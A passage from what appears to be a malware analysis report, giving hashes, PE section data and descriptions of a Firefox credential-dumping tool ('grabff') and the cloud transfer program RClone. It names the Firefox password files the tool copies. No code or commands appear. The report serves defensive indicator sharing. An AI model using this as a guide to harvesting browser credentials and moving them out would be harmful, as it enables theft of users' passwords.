6e567d7047b8f05a0725da27ffbb2abd .reloc 512 0.081539
Packers/Compilers/Cryptors
Microsoft Visual C# v7.0 / Basic .NET
Description

This artifact is a 32-bit .NET executable called grabff. The program uses a command line interface to extract Firefox stored passwords and authentication information from the user's profile located at C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles. The program will extract the password databases found in key3.db, key4.db, and logins.json as well as the sqlite-based certificate database, cert9.db. The data can be copied to any designated directory.

495a0ccc38fb8f22b48025f030617978cf5fdc3df3fed32b1410ad47747ae177

Tags

utility

Details
Name rclone.exe
Size 39144960 bytes
Type PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
MD5 abb0fbecd6ac93d3271fc34269a1fb68
SHA1 fc09069b25f42cb8dc6960eea76980a0ea8a768c
SHA256 495a0ccc38fb8f22b48025f030617978cf5fdc3df3fed32b1410ad47747ae177
SHA512 c921aa311d4096accb4e10b9c16d947acfe7828afd3c5b94a0bf1059300434751df440e5a85427e47540b06d368f777891abdd6b6090e358262a0c0574f0a876
ssdeep 196608:7j2z/byHB8rHbHUaAc6R9PFvQ3Ko7OGu5Dt57q4EQGXyc9+sVK5jAgcb5n1cHYft:suh0Unq3oDkdz
Entropy 5.895969
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 2020-06-10 11:26:48-04:00
Import Hash f92b8a691e76b8843c69dd59c9dac4dc
PE Sections
MD5 Name Raw Size Entropy
543b66d31974c0e65d15a31ae7930593 header 1024 2.499329
f22b28d6d68881e9c85cb7c4224bc09b .text 17408512 5.719293
827f84c9da5b7418978f9b5476cdbfec .data 636416 5.201837
3f9f9088ac374ea51759bdcbc4b78a76 .rdata 21090816 5.390432
f0ac7ba71448f1ff46ba958bf58d5c81 .pdata 1536 5.273794
3c41e0fecd0137e76631b5a2cb2996aa .xdata 1536 3.739931
d41d8cd98f00b204e9800998ecf8427e .bss 0 0.000000
2d2d0405cfa0f1a49949a4712ef6dbb2 .idata 4096 4.417682
4e35d3b10dfa07e092a95be05d663be7 .CRT 512 0.332025
bf619eac0cdf3f68d496ea9344137e8b .tls 512 0.000000
Packers/Compilers/Cryptors
Microsoft Visual C++ 8.0 (DLL)
Description

This artifact is an open-source cloud content management program called RClone. The program uses a command line interface to manage files in cloud storage. The program is capable of uploading and downloading files, verifying file integrity, and providing file encryption. The program can use any of the following protocols: SSH File Transfer Protocol (SFTP), Web Distributed Authoring and Versioning (WebDAV), File Transfer Protocol (FTP), and Digital Living Network Alliance (DLNA).

Screenshots